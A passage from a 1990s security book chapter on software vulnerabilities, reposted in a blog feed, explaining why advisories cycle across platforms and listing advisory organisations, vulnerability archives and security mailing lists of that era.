<p>This brings me to an important point. You may often see, particularly on  Usenet, individuals arguing over whether Solaris is tighter than AIX or whether  Linux is tighter than FreeBSD and so forth. These arguments are exercises in  futility. As it happens, all operating systems have their holes. Long-term  examination of reporting lists reveals that advisories go in cycles. Were I to  sample another period in time, AIX might be the predominate victim. There is no  mysterious reason for this; it breaks down to the nature of the industry. When a  hole is discovered in sendmail, for example, it is not immediately clear as to  which platforms are affected. Determining this takes time. When the hole is  confirmed, a detailed description is posted to a list, and chances are that more  than half of all machines running sendmail are affected. But when holes are  discovered in proprietary software, any number of things can happen. This might  result in a one-month run of advisories on a single platform.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>NOTE:</strong></span><strong> </strong>This sometimes happens because  proprietary software may have multiple file dependencies that are inherent to  the distribution, or there may be multiple modules created by the same  programming team. Therefore, these executables, libraries, or other files may  share the same basic flaws. Thus, there may be a buffer overflow problem in one  of the executable programs in the package, and additionally, one of the library  implementations is bad. (Or even, systems calls are poorly implemented, allowing  commands to be pushed onto the stack.) If a proprietary package is large,  problems could keep surfacing for a week or more (maybe even a month). In these  cases, the vendor responsible looks very bad; its product is a topic of furious  discussion on security lists for an extended period.<br />
<hr /></blockquote>
<h4><span style="color:#000077;"><strong>Holes on Other Platforms</strong></span></h4>
<p>Analyzing holes on other platforms is more difficult. Although vendors  maintain documents on certain security holes within their software, organized  reporting (except in cases if virus attacks) has only recently become available.  This is because non-UNIX, non-VAX systems have become popular server platforms  only in the last two years.</p>
<p>Reporting for these holes has also been done (up until recently) by  individual users or those managing small networks. Hard-line security  professionals have traditionally not been involved in assaying, for example,  Microsoft Windows. (Oh, there are hundreds of firms that specialize in security  on such platforms, and many of them are listed in this book. Nonetheless, in the  context of the Internet, this has not been the rule.)</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>NOTE:</strong></span><strong> </strong>That rule is about to change.  Because security professionals know that Microsoft Windows NT is about to become  a major player, reporting for NT holes will become a more visible activity.<br />
<hr /></blockquote>
<h2><span style="color:#000077;"><strong>Discussions About Holes on the  Internet</strong></span></h2>
<p>Finding information about specific holes is simple. Many sites, established  and underground, maintain archives on holes. Established sites tend to sport  searchable indexes and may also have classic security papers ranging back to the  days of the Worm. Underground sites may have all of this, as well as more  current information. The majority of holes, in fact, are circulated among  cracking communities first. For information about locating these resources, see  Appendix A, &#8220;How to Get More Information.&#8221; To whet your appetite, a few sites  and sources for information about security holes follow.</p>
<h3><span style="color:#000077;"><strong>World Wide Web Pages</strong></span></h3>
<p>You&#8217;ll find loads of information about holes on numerous Web pages. Following  are some that you should check out.</p>
<h4><span style="color:#000077;"><strong>CERT</strong></span></h4>
<p>The Computer Emergency Response Team was established after the Internet Worm  debacle in 1988 (young Morris scared the wits out of many people on the Net, not  the least of which were those at DARPA). CERT not only issues advisories to the  Internet community whenever a new security vulnerability becomes known, it</p>
<ul>
<li>is on call 24 hours a day to provide vital technical advice to those who  have suffered a break-in</li>
<li>uses its WWW site to provide valuable security information available, both  new and old (including papers from the early 1980s)</li>
<li>publishes an annual report that can give you great insight into security  statistics</li>
</ul>
<p>The real gold mine at CERT is the collection of advisories and bulletins. You  can find these and other important information at <a href="http://www.cert.org/"><tt>http://www.cert.org</tt></a> (see Figure  15.3).</p>
<p><a name="03"></a><a href="/Documents%20and%20Settings/jetu/Desktop/hackers%20and%20builders/complete_set_hacking_tools+manuals/Maximum%20Security%20-%20a%20Hackers%20Guide%20to%20Protection/ch15/03.htm"><strong>FIGURE 15.3.</strong></a><br />
<em>The Computer  Emergency Response Team (CERT) WWW site.</em></p>
<h4><span style="color:#000077;"><strong>Department of Energy Computer Incident Advisory  Capability</strong></span></h4>
<p>CIAC was also established in 1989, following the Morris Worm. This  organization maintains a database of security related material intended  primarily for the U.S. Department of Energy. The CIAC site is one of the best  sources for security information. In addition to housing tools, this site also  houses a searchable archive of security advisories. Moreover, CIAC provides to  the public a series of security papers. Also, CIAC now utilizes the Adobe PDF  file format, so the papers it provides are attractive, easily navigated, and  easily formatted for printing. PDF format is, in my opinion, far superior to  PostScript format, particularly for those not running UNIX.</p>
<p>Important information provided by CIAC to the public includes the following:</p>
<ul>
<li>Defense Data Network advisories</li>
<li>CERT advisories</li>
<li>NASA advisories</li>
<li>A comprehensive virus database</li>
<li>A computer security journal by Chris McDonald</li>
</ul>
<p>CIAC is located at <a href="http://ciac.llnl.gov/"><tt>http://ciac.llnl.gov/</tt></a> (see Figure  15.4).</p>
<p><a name="04"></a><a href="/Documents%20and%20Settings/jetu/Desktop/hackers%20and%20builders/complete_set_hacking_tools+manuals/Maximum%20Security%20-%20a%20Hackers%20Guide%20to%20Protection/ch15/04.htm"><strong>FIGURE 15.4.</strong></a> <em><br />
The Computer  Incident Advisory Capability WWW site.</em></p>
<h4><span style="color:#000077;"><strong>The National Institute of Standards and Technology  Computer Security Resource Clearinghouse</strong></span></h4>
<p>The NIST CSRC WWW site (see Figure 15.5) is a comprehensive starting point.  NIST has brought together a sizable list of publications, tools, pointers,  organizations, and support services.</p>
<p><a name="05"></a><a href="/Documents%20and%20Settings/jetu/Desktop/hackers%20and%20builders/complete_set_hacking_tools+manuals/Maximum%20Security%20-%20a%20Hackers%20Guide%20to%20Protection/ch15/05.htm"><strong>FIGURE 15.5.</strong></a> <em><br />
The NIST CSRC  WWW site.</em></p>
<h4><span style="color:#000077;"><strong>The Forum of Incident Response and Security Teams  (FIRST)</strong></span></h4>
<p>FIRST is a really a coalition of many organizations, both public and private,  that work to circulate information on and improve Internet security. Some FIRST  members are</p>
<ul>
<li>DoE Computer Incident Advisory Capability (CIAC)</li>
<li>NASA Automated Systems Incident Response Capability</li>
<li>Purdue University Computer Emergency Response Team</li>
<li>Stanford University Security Team</li>
<li>IBM Emergency Response Service</li>
<li>Australian Computer Emergency Response Team</li>
</ul>
<p>The interesting thing about FIRST is that it exercises no centralized  control. All members of the organization share information, but no one exercises  control over any of the other components. FIRST maintains a list of links to all  FIRST member teams with WWW servers. Check out FIRST at <a href="http://www.first.org/team-info/"><tt>http://www.first.org/team-info/</tt></a> (see Figure 15.6).</p>
<p><a name="06"></a><a href="/Documents%20and%20Settings/jetu/Desktop/hackers%20and%20builders/complete_set_hacking_tools+manuals/Maximum%20Security%20-%20a%20Hackers%20Guide%20to%20Protection/ch15/06.htm"><strong>FIGURE 15.6.</strong></a> <em><br />
The FIRST WWW  site.</em></p>
<h4><span style="color:#000077;"><strong>The Windows 95 Bug Archive</strong></span></h4>
<p>The Windows 95 Bug Archive is maintained at Stanford University by Rich  Graves. To his credit, it is the only truly comprehensive source for this type  of information. (True, other servers give overviews of Windows 95 security, but  nothing quite like this page.) This archive is located at</p>
<ul>
<li><a href="http://www-leland.stanford.edu/~llurch/win95netbugs/archives/"><tt>http://www-leland.stanford.edu/~llurch/win95netbugs/archives/</tt></a></li>
</ul>
<p>Mr. Graves is a Network Consultant, a Webmaster, an Apple Talk specialist,  and a master Gopher administrator. He has painstakingly collected an immense set  of resources about Windows 95 networking (he is, in fact, the author of the  Windows 95 Networking FAQ). His Win95NetBugs List has a searchable index, which  is located here:</p>
<ul>
<li><a href="http://www-leland.stanford.edu/~llurch/win95netbugs/search.html"><tt>http://www-leland.stanford.edu/~llurch/win95netbugs/search.html</tt></a></li>
</ul>
<p>The site also features an FTP archive of Windows 95 bugs, which can be  accessed via the WWW at this locale:</p>
<ul>
<li><a href="http://www-leland.stanford.edu/~llurch/win95netbugs/archives/"><tt>http://www-leland.stanford.edu/~llurch/win95netbugs/archives/</tt></a></li>
</ul>
<h4><span style="color:#000077;"><strong>The ISS NT Security Mailing List</strong></span></h4>
<p>This list is made available to the public by Internet Security Systems (ISS).  It is a mailing list archive. Individuals post questions (or answers) about NT  security. In this respect, the messages are much like Usenet articles. These are  presented at the following address in list form and can be viewed by thread  (subject tag), author, or date.</p>
<ul>
<li><a href="http://www.iss.net/lists/ntsecurity/"><tt>http://www.iss.net/lists/ntsecurity/</tt></a></li>
</ul>
<p>From this address, you can link to other security mailing lists, including  not only Windows NT-related lists, but integrated security mailing lists, as  well. You also have the option of viewing the most recent messages  available.</p>
<p>Such lists are of great value because those posting to them are usually  involved with security on an everyday basis. Moreover, this list concentrates  solely on Windows NT security and, as such, is easier to traverse and assimilate  than mailing lists that include other operating systems.</p>
<p>One particularly valuable element of this page is that you can link to the  Windows NT Security Digest Archive Listing. This is a comprehensive database of  all NT postings to the security list. Appendix A provides a description of  various methods to incisively search these types of archives using agents. For  the moment, however, it suffices to say that there are some very talented list  members here. Even if you visit the list without a specific question in mind,  browsing the entries will teach you much about Windows NT security.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>Cross Reference:</strong></span><strong> </strong>ISS is also the vendor  for a suite of scanning products for Windows NT. These products perform  extremely comprehensive analyses of NT networks. If your company is considering  a security assessment, you might want to contact ISS (<a href="http://iss.net/"><tt>http://iss.net</tt></a>).<br />
<hr /></blockquote>
<h4><span style="color:#000077;"><strong>The National Institutes of Health</strong></span></h4>
<p>The Computer Security Information page at the National Institutes of Health  (NIH) is a link page. It has pointers to online magazines, advisories,  associations, organizations, and other WWW pages that are of interest in  security. Check out the NIH page at this locale:</p>
<ul>
<li><a href="http://www.alw.nih.gov/Security/security.html"><tt>http://www.alw.nih.gov/Security/security.html</tt></a></li>
</ul>
<p>This is a big site. You may do better examining the expanded index as opposed  to the front page. That index is located here:</p>
<ul>
<li><a href="http://www.alw.nih.gov/Security/tcontents.html"><tt>http://www.alw.nih.gov/Security/tcontents.html</tt></a></li>
</ul>
<h4><span style="color:#000077;"><strong>The Bugtraq Archives</strong></span></h4>
<p>This extraordinary site contains a massive collection of bugs and holes for  various operating systems. The Bugtraq list is famous in the Internet community  for being the number one source for holes.</p>
<p>What makes Bugtraq so incredibly effective (and vital to those studying  Internet security) is that the entire archive is searchable. The information can  be searched so incisively that in just a few seconds, you can pin down not only  a hole, but a fix for it. The archive search index offers several choices on the  type of search.</p>
<p>One important amenity of the Bugtraq list is that it is not inundated with  advertisements and other irrelevant information. The majority of people posting  to the list are extremely knowledgeable. In fact, the list is frequented by bona  fide security specialists that solve real problems every day. Chris Chasin, the  host of Bugtraq, defines the list as follows:</p>
<dl>
<dd>This list is for *detailed* discussion of UNIX security holes: what they  are, how to exploit, and what to do to fix them. This list is not intended to be  about cracking systems or exploiting their vulnerabilities. It is about  defining, recognizing, and preventing use of security holes and risks. </dd>
</dl>
<p>In my opinion, Bugtraq is the Internet&#8217;s most valuable resource for online  reporting of UNIX-based vulnerabilities. Visit it here:</p>
<ul>
<li><a href="http://www.geek-girl.com/bugtraq/search.html"><tt>http://www.geek-girl.com/bugtraq/search.html</tt></a></li>
</ul>
<h4><span style="color:#000077;"><strong>The Computer and Network Security Reference  Index</strong></span></h4>
<p>This index is another fine resource page. It contains links to advisories,  newsgroups, mailing lists, vendors, and archives. Check it out at</p>
<ul>
<li><a href="http://www.telstra.com.au/info/security.html"><tt>http://www.telstra.com.au/info/security.html</tt></a></li>
</ul>
<h4><span style="color:#000077;"><strong>Eugene Spafford&#8217;s Security Hotlist</strong></span></h4>
<p>This site can be summed up in five words: <em>the ultimate security resource  page.</em> Of the hundreds of pages devoted to security, this is the most  comprehensive collection of links available. In contrast to many link pages  whose links expire, these links remain current. Check it out on-line at</p>
<ul>
<li><a href="http://www.cs.purdue.edu/homes/spaf/hotlists/csec-top.html"><tt>http://www.cs.purdue.edu/homes/spaf/hotlists/csec-top.html</tt></a></li>
</ul>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>NOTE:</strong></span><strong> </strong>Note to Netscape users: Spaff&#8217;s  page utilizes fundamental Web technology to spawn child windows. That means that  for each link you click, a new window is spawned. New users may be unfamiliar  with this method of linking and may be confused when they try to use the Back  button. The Back button does not work because there is no window to go back to.  If you plan to try multiple links from Spaff&#8217;s page, you will need to kill each  subsequent, child window to get back to the main list. If you fail to do this  (and instead minimize each window) you will soon run out of virtual memory.<br />
<hr /></blockquote>
<h3><span style="color:#000077;"><strong>Mailing Lists</strong></span></h3>
<p>Table 15.2 contains a list of security-related mailing lists that often  distribute advisories about holes. Most are very useful.</p>
<blockquote><p> </p>
<hr /><span style="color:#000077;"><strong>CAUTION:</strong></span><strong> </strong>Remember when I wrote about  the large volume of mail one could receive from such a list? Beware. Subscribing  to a handful of these lists could easily result in 10-30MB of mail per month.<br />
<hr /> </p>
<p> </p>
<hr /><span style="color:#000077;"><strong>TIP:</strong></span><strong> </strong>If a list has a sister list that  calls itself a <em>digest</em>, subscribe to the digest instead. Digests are  bundled messages that come periodically as a single file. These are more easily  managed. If you subscribe to three or four lists, you may receive as many as ten  messages an hour. That can be overwhelming for the average user. (You&#8217;ll see  messages from distraught users asking how to get off the list. These messages  usually start out fairly civil, but end up as &#8220;Get me off this damn list! It is  flooding my mailbox!&#8221;)<br />
<hr /></blockquote>
<h4><span style="color:#000077;"><strong>Table 15.2. Mailing lists for holes and  vulnerabilities.</strong></span></h4>
<p> </p>
<table border="1">
<tbody>
<tr align="left">
<td align="left" valign="top"><em>List</em></td>
<td align="left" valign="top"><em>Subject</em></td>
</tr>
<tr align="left">
<td align="left" valign="top"><a href="mailto:8lgm-list-request@8lgm.org"><tt>8lgm-list-request@8lgm.org</tt></a></td>
<td align="left" valign="top">Security holes only. No junk mail. Largely  UNIX.</td>
</tr>
<tr align="left">
<td align="left" valign="top"><a href="mailto:bugtraq-request@fc.ne"><tt>bugtraq-request@fc.ne</tt></a></td>
<td align="left" valign="top">Mailing list for holes. No junk mail. UNIX.</td>
</tr>
<tr align="left">
<td align="left" valign="top"><a href="mailto:support@support.mayfield.hp.com"><tt>support@support.mayfield.hp.com</tt></a></td>
<td align="left" valign="top">Hewlett Packard security advisories.</td>
</tr>
<tr align="left">
<td align="left" valign="top"><a href="mailto:request-ntsecurity@iss.net"><tt>request-ntsecurity@iss.net</tt></a></td>
<td align="left" valign="top">The ISS NT Security mailing list. This is the list  that generates the NT archive mentioned previously.</td>
</tr>
<tr align="left">
<td align="left" valign="top"><a href="mailto:coast-request@cs.purdue.edu"><tt>coast-request@cs.purdue.edu</tt></a></td>
<td align="left" valign="top">Holes and discussion on tools. Primarily  UNIX.</td>
</tr>
<tr align="left">
<td align="left" valign="top"><a href="mailto:security-alert@Sun.COM"><tt>security-alert@Sun.COM</tt></a></td>
<td align="left" valign="top">Sun Microsystems security advisories.</td>
</tr>
<tr align="left">
<td align="left" valign="top"><a href="mailto:www-security-request@nsmx.rutgers.edu"><tt>www-security-request@nsmx.rutgers.edu</tt></a></td>
<td align="left" valign="top">Holes in the World Wide Web.</td>
</tr>
<tr align="left">
<td align="left" valign="top"><a href="mailto:security-alert@Sun.COM"><tt>security-alert@Sun.COM</tt></a></td>
<td align="left" valign="top">Sun Microsystems security advisories.</td>
</tr>
<tr align="left">
<td align="left" valign="top"><a href="mailto:Sneakers@CS.Yale.EDU"><tt>Sneakers@CS.Yale.EDU</tt></a></td>
<td align="left" valign="top">The Sneakers list. Real-life intrusion methods using  known holes and tools.</td>
</tr>
</tbody>
</table>
<h2><span style="color:#000077;"><strong>Summary</strong></span></h2>
<p>In this chapter, you have learned a bit about holes. This knowledge will  serve you throughout the remainder of the book, for I discuss various holes in  many chapters.</p>
<p>In closing, if you are new to security, the preceding pages may leave you  with the sense that a hole is evidence of vendor incompetence. Not so.  Vendor-based holes may take a long time to fix. If the vendor is large, this may  expand into weeks or even months. Development teams in the corporate world work  much like any other body. There is a hierarchy to be traversed. A software  programmer on a development team cannot just make a material alteration to a  program because he or she feels the need. There is a standardized process;  protocols must be followed. Perhaps even worse is when the flaw exists in some  standard that is administrated by a committee or board. If so, it may be a long,  long time before the hole is fixed.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/futurenetwork.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/futurenetwork.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/futurenetwork.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/futurenetwork.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/futurenetwork.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/futurenetwork.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/futurenetwork.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/futurenetwork.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/futurenetwork.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/futurenetwork.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/futurenetwork.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/futurenetwork.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/futurenetwork.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/futurenetwork.wordpress.com/110/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=110&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://futurenetwork.wordpress.com/2009/02/19/the-hole/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/20fe4010cc65f843a03f640b217bd403?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">JITU</media:title>
		</media:content>
	</item>
	</channel>
</rss>
